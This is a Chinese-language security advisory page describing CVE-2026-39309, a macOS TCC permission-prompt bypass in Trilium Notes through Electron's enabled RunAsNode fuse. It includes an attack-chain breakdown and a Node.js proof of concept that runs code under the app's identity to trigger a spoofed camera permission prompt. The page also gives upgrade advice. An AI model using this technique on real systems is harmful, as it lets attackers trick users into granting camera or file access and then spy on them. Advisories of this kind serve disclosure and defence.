IPBUF安全漏洞报告
English
CVE-2026-39309 CVSS 5.5 中危

CVE-2026-39309 Trilium Notes TCC绕过漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-39309
漏洞类型
权限绕过
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Trilium Notes

相关标签

权限绕过TCC BypassmacOSElectronTrilium Notes本地攻击

漏洞概述

Trilium Notes 0.102.1及更早版本存在安全漏洞,攻击者可利用Electron配置中的RunAsNode功能绕过macOS的TCC保护机制。通过提示欺骗,攻击者能诱导用户授予对摄像头、麦克风等敏感资源的访问权限,从而窃取隐私数据。

技术细节

该漏洞的核心在于Trilium Notes的Electron打包配置未禁用RunAsNode fuse。这使得攻击者能够通过命令行参数(如-e)以Node.js模式启动应用程序,并继承其身份执行任意命令。在macOS中,子进程继承父进程的TCC(透明度、同意和控制)身份。攻击者利用这一点,在Trilium Notes的上下文中生成请求敏感权限(如访问Documents文件夹或录制屏幕)的子进程。由于系统弹出的权限提示显示的是受信任的“Trilium Notes”而非恶意代码名称,用户极易被社会工程学手段欺骗而点击允许,导致攻击者成功绕过安全边界获取敏感数据。

攻击链分析

STEP 1
1. 本地访问
攻击者获得对受害者macOS系统的本地访问权限(AV:L)。
STEP 2
2. 识别漏洞
确认系统中安装了Trilium Notes且版本低于0.102.2。
STEP 3
3. 利用RunAsNode
攻击者通过命令行调用Trilium Notes,利用-e参数在Node.js模式下执行恶意代码。
STEP 4
4. 触发权限请求
恶意代码生成子进程,尝试访问受TCC保护的资源(如摄像头或文档)。
STEP 5
5. 提示欺骗
macOS系统认为请求来自可信的Trilium Notes,弹出权限请求窗口。
STEP 6
6. 社会工程学
用户被伪造的提示欺骗,点击“允许”授予权限。
STEP 7
7. 获取数据
攻击者代码成功获得对敏感资源的访问权限,窃取数据或监控用户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-39309 // This demonstrates how an attacker might trigger a TCC prompt using the app's identity. const { exec } = require('child_process'); // Path to the vulnerable Trilium Notes binary const appPath = '/Applications/Trilium Notes.app/Contents/MacOS/Trilium Notes'; // Malicious JS code to execute inside the app context // This attempts to launch an app that requires Camera access, spoofing the prompt const payload = ` const { exec } = require('child_process'); // Trigger a TCC protected resource request // The user will see 'Trilium Notes' requesting permission exec('open /Applications/Photo\ Booth.app'); `; console.log('Executing exploit payload...'); // Execute Trilium Notes with the -e flag to run the payload // This works because the RunAsNode fuse is enabled exec(`"${appPath}" -e "${payload}"`, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log('Payload executed. Check for TCC prompt.'); });

影响范围

Trilium Notes <= 0.102.1

防御指南

临时缓解措施
建议用户立即升级至0.102.2或更高版本。如果暂时无法升级,应谨慎对待Trilium Notes弹出的任何非预期的权限请求,并限制对该应用的本地执行权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表